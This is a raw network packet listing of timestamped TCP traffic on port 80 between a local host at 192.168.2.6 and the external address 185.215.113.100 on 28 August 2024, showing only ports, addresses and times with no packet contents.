Aug 28, 2024 11:51:11.901083946 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:11.901094913 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:11.901098967 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:11.901133060 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:11.901133060 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.067461967 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.067476988 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.067488909 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.067519903 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.067542076 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.067555904 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.067568064 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.067584038 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.067595005 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.067599058 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.067614079 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.067625046 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.067625999 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.067637920 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.067650080 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.067660093 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.067662954 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.067675114 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.067682981 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.067698956 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.067720890 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.067769051 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.067780972 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.067792892 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.067806005 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.067814112 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.067816019 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.067821026 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.067828894 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.067838907 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.067841053 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.067850113 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.067862034 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.067871094 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.067878008 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.067895889 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.067903042 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.067929983 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.153902054 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.153974056 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.215667963 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.215682983 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.215699911 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.215709925 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.215720892 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.215735912 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.215748072 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.215750933 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.215771914 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.215789080 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.215814114 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.215950966 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.215962887 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.215981960 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.215991974 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.215998888 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216011047 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216018915 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.216029882 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216042042 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216052055 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216063023 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.216063023 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216077089 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216084957 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.216090918 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216099024 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.216116905 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.216142893 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.216197968 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216208935 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216219902 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216231108 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216238022 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.216242075 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216255903 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216257095 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.216285944 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.216304064 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216305971 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.216315031 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216325045 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216341972 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.216346979 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216367006 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.216391087 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.216432095 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216442108 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216479063 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.216833115 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216844082 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216854095 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216865063 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216876030 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216876030 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.216887951 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216898918 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.216902971 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.216928959 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.216945887 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.217037916 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.217083931 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.217374086 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.217423916 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.217518091 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.217529058 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.217539072 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.217550993 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.217561960 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.217565060 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.217573881 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.217586040 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.217587948 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.217597008 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.217607021 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.217607975 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.217633963 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.217659950 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608122110 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608139038 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608150959 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608200073 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608232975 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608268023 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608280897 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608299017 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608306885 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608310938 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608321905 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608324051 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608334064 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608345032 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608349085 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608355045 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608367920 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608377934 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608378887 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608390093 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608390093 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608402967 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608412981 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608417034 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608423948 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608433962 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608436108 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608450890 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608453035 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608468056 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608489990 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608496904 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608500004 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608509064 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608520985 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608520985 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608532906 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608541012 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608544111 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608556032 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608561039 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608571053 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608576059 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608586073 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608596087 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608608007 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608611107 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608622074 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608633041 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608647108 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608650923 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608659983 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608676910 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608676910 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608688116 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608696938 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608699083 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608711004 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608725071 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608725071 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608736992 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608747959 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608748913 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608758926 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608763933 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608771086 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608781099 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608793974 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608798027 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608803988 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608815908 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608825922 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608828068 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608840942 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.608844042 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608864069 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.608877897 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.609255075 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609266043 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609277010 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609289885 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609297037 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.609302044 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609313011 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609316111 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.609323978 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609334946 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609344006 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.609347105 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609357119 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609365940 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.609369993 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609380007 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609384060 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.609390974 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609402895 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609412909 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.609421968 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609431982 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.609432936 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609445095 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609445095 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.609457970 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609469891 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609478951 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.609481096 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609493017 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609503984 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609508991 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.609515905 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609525919 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609529972 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.609539032 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609549999 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.609556913 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609568119 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.609569073 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609580994 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609592915 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609597921 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.609603882 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609615088 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609622955 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.609627008 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609643936 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609643936 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.609653950 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.609654903 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609667063 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609672070 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609689951 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609688044 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.609700918 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609713078 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609720945 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.609726906 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609739065 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609740019 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.609750986 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609761953 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.609762907 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609776020 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609781981 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.609787941 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609798908 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609811068 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609811068 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.609822035 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609827995 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.609834909 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609846115 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.609864950 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.609889984 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.610466003 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610511065 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.610533953 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610574007 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.610671997 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610682964 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610692978 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610704899 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610712051 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.610716105 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610726118 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.610727072 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610738039 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610744953 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.610750914 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610763073 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610770941 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.610779047 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610785007 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.610786915 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610789061 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610790968 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610799074 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.610801935 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610815048 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610831022 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610838890 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.610843897 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610856056 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610866070 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610869884 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.610887051 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.610893011 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610903978 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.610905886 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610915899 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610927105 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610937119 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610943079 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.610943079 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.610949993 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610961914 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610968113 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.610974073 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610986948 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.610997915 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.611004114 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.611010075 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.611021042 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.611021996 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.611032963 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.611042976 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.611053944 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.611059904 CEST	49710	80	192.168.2.6	185.215.113.100
Aug 28, 2024 11:51:12.611066103 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.611083984 CEST	80	49710	185.215.113.100	192.168.2.6
Aug 28, 2024 11:51:12.611085892 CEST	49710	80	192.168.2.6	185.215.113.100
